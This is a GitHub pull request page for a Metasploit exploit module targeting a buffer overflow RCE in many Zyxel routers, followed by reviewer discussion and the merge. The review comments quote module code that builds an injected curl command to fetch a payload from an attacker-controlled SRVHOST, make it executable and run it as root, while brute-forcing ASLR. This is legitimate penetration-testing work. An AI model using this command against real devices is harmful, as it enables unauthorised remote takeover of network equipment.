Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Unauthenticated RCE for multiple Zyxel router #17388

Merged
merged 8 commits into from Mar 21, 2023

Conversation

shr70
Copy link

@shr70 shr70 commented Dec 15, 2022

This request adds a new exploit module for a buffer overflow in roughly 45 different Zyxel router and VPN models.
The security advisory can be found here. A blogpost with more information has been published on the SEC Consult blog.

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • use exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce
  • Set RHOST, LHOST and SRVHOST
  • Execute check
  • Execute run
  • Receive shell as root user

A video of the successfull exploitation can be found here: https://youtu.be/hbF3LEljxSA

@shr70
Copy link
Author

shr70 commented Dec 15, 2022

Added the requested changes

@jheysel-r7 jheysel-r7 self-assigned this Jan 4, 2023
Comment on lines 191 to 193
if ((datastore['SRVHOST'] == '0.0.0.0') || (datastore['SRVHOST'] == '::'))
fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST")
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

These checks are not covering all the cases to detect if the option is really an IPv4 or IPv6 address, and if it refers to the "This host on this network" address. The following checks using the Rex::Socket helpers are more reliable and should be used instead:

if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
end

Comment on lines +197 to +237
srv_host = datastore['SRVHOST']
srv_port = datastore['SRVPORT']
@cmd_file = rand_text_alpha_lower(1)
payload_file = rand_text_alpha_lower(1)

# generate our payload executable
@payload_exe = generate_payload_exe

# Command that will download @payload_exe and execute it
download_cmd = 'curl${IFS}'
if datastore['SSL']
# https:// can't be a substring as the zyxel parser won't be able to understand the URI
download_cmd += '-k${IFS}https:`echo${IFS}//`'
end
download_cmd += "#{srv_host}:#{srv_port}/#{payload_file}${IFS}-o${IFS}/tmp/#{payload_file};chmod${IFS}+x${IFS}/tmp/#{payload_file};/tmp/#{payload_file};"

http_service = "#{srv_host}:#{srv_port}"
print_status("Starting up our web service on #{http_service} ...")
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => "/#{payload_file}"
}
})

print_status('Going to bruteforce ASLR, this might take a while...')

count = 1
exploit_url = build_buffer_overflow_url(download_cmd)
timeout = 0
until @payload_sent
print_status("Trying to overflow the buffer, attempt #{count}")
send_exploit(exploit_url)
count += 1
timeout += 6

if timeout == datastore['MAX_WAIT'].to_i
fail_with(Failure::Unknown, "#{peer} - Timeout reached! You were either very unlucky or the device is not vulnerable anymore!")
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It looks like all of this could be replaced by a simple cmdstager with the curl flavor. This is the current standard and should be used as much as possible.

You can find an updated cmdstager documentation here (still a WIP PR) or the original documentation here.

Please, let us know if you need help or if you have any questions about this.

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hi, I tried to change my code up in order to use the cmdstager. However, I can't figure out how to run the exploit multiple times (required, as it will bruteforce ASLR). My current idea would be to call execute_cmdstager until a new session is opened. This should be possible by polling the session count.
Is there a better option?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

After looking into the logic again, I agree that the cmdstager might be complicated to use. It might not be a good solution here. You can still call execute_cmdstager multiple time, but if you have a big payload, it will call execute_command multiple times for each call to execute_cmdstager. There might be a workaround for this, but I'm not sure it is worth the effort.

@jmartin-tech jmartin-tech added the needs-linting The module needs additional work to pass our automated linting rules label Jan 5, 2023
@github-actions
Copy link

github-actions bot commented Jan 5, 2023

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

@jheysel-r7
Copy link
Contributor

Hey @shr70. I wasn't able to successfully emulate one of these devices for testing. Would you provide us with a packet capture demonstrating the exploit? If you are able to send one, be sure to remove any sensitive data from it and email msfdev[at]metasploit.com. Thank you.

@shr70
Copy link
Author

shr70 commented Mar 8, 2023

@jheysel-r7 I just sent over a sanitized pcap of a successfull exploitation

jheysel-r7 and others added 6 commits March 17, 2023 12:57
…ce.rb

Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
…s_zhttp_lan_rce.md

Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
…ce.rb

Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
…ce.rb

Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
@jheysel-r7
Copy link
Contributor

@shr70 thank you for the pcap. Everything looks great. I just pushed a couple changes to address a couple final comments and linting issues.

@jheysel-r7 jheysel-r7 merged commit 1f2a889 into rapid7:master Mar 21, 2023
30 checks passed
@jheysel-r7
Copy link
Contributor

Release Notes

This PR adds a new exploit module for a buffer overflow in roughly 45 different Zyxel router and VPN models.

@jheysel-r7 jheysel-r7 added rn-modules release notes for new or majorly enhanced modules and removed needs-linting The module needs additional work to pass our automated linting rules labels Mar 21, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

None yet

7 participants